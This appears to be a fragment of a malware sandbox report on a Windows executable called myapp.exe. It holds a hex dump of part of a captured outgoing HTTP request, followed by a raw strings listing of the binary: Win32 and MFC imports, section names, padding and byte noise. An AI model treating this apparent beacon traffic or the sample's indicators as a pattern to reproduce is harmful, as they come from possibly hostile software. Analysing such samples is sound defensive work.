0x00000080 (00128)   2d303837 37643339 31373736 6126636f   -0877d391776a&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 32342670   mment=20140824&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..


Strings
Q.
.....aew.......#.}..1.Q.<.
b....&.Q..6.........:Tx.,..
{$.
....k.fU.
.c.Y=O
..vk.@.%9*.... .j..0~
>Lo..Nm......a.l
....+...
.1........CTaY.K....q...5
.h&
...B..A.t.:K.<...B....t`[
7....k..;.N.......*.r...czm.>c..
.
..$5.....[{.../T..X.
.
.q..x......h...S
Gl..u.2
.~KF..5d..A...~E)G.n...E..m..`qP.....0bp.Uj'..:..#.".
.P.h.O....2F......3...
w(.B.b.....
C$[.Y.
.....,o.
O..
..BX.&...M^.o.[E....3...z...>.[..B.._!-..9.`.Q.L..
...Ifx2.8Q..0A.qWRq..+#1.C
........,.....=V/iT.r...
^....X>k[k2.'.Y...._...i.GyX.F..!C.8...e..w...wh.
9.+.:..
.
.E
(...`..])P......@f....-G.8+R&....Q..}<:.
..t..).p..w..8.CX....~...!..4.;..
+9X
..=]
.
Y
L..x
 3...
.y.p$.L..S.
..........Z{
....
4..+.........8.#..@..V
F ...u...
./.
 (C) 2003
myapp.exe
xlRW
 xlRW
xlRW 1.0 
 xlRW(&A)...
080<0@0D0H0L0P0T0X0\0`0d0h0l0p0t0x0|0
1$1+171>1Q1b1h1v1{1
141L1h1l1p1t1x1|1
}17V"E
1noBG,=
2 2$2(2,2024282<2@2D2H2L2P2T2X2\2`2d2h2l2p2t2x2|2
3$3*30363<3B3H3N3T3Z3`3f3l3r3x3~3
3 3$3(3,3034383<3@3D3P3l3x3
$34Rbr
4 4&4,42484>4D4J4P4V4\4b4h4n4t4z4
444@4\4d4l4t4|4
  %*5-%'2(  .?/279<<<$-BFA:F5;<9
5"5(5.545:5@5F5L5R5X5^5d5
6-=9=?=_=y=
%/85JH
9& &99999999999999999999999999999999999999999999999999
9acspAPPL
a7u[z@
AppendMenuW
`.\b{[
%Bo4g4
CreateFileA
__CxxFrameHandler
@.data
dISr{N
dkp}f{E
d`m@#B
DrawIcon
EkV_^]
EnableWindow
(F^wE5
f}Xh`h
GetClientRect
GetModuleFileNameA
GetModuleFileNameW
GetSystemMenu
GetSystemMetrics
GlYS(I
HrCg@b	g 
ICC_PROFILE
.idata
IsIconic
J_w(fW
KERNEL32.dll
=L|"-\
LO8~}S(
LoadIconW
L`v;BUz
~LvtVo
memcpy
memset
MFC42u.DLL
mKOVa\
mntrRGB XYZ 
MSVCRT.dll
Nx"I-1
o?APnE
oE6vq@<x
PADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADD
)Q82ImS"^
`.rdata
s2#X[P
SendMessageW
T4gE/T
t`?_9O
!This program cannot be run in DOS mode.
(u<k0o
u"n"-Bc
USER32.dll
u<ZlR9
VPWnQ	d
_wfopen
Xp"+_RY
XSaSsj
xue}0h
XuIW|{
@X^x,XyP
y31*@+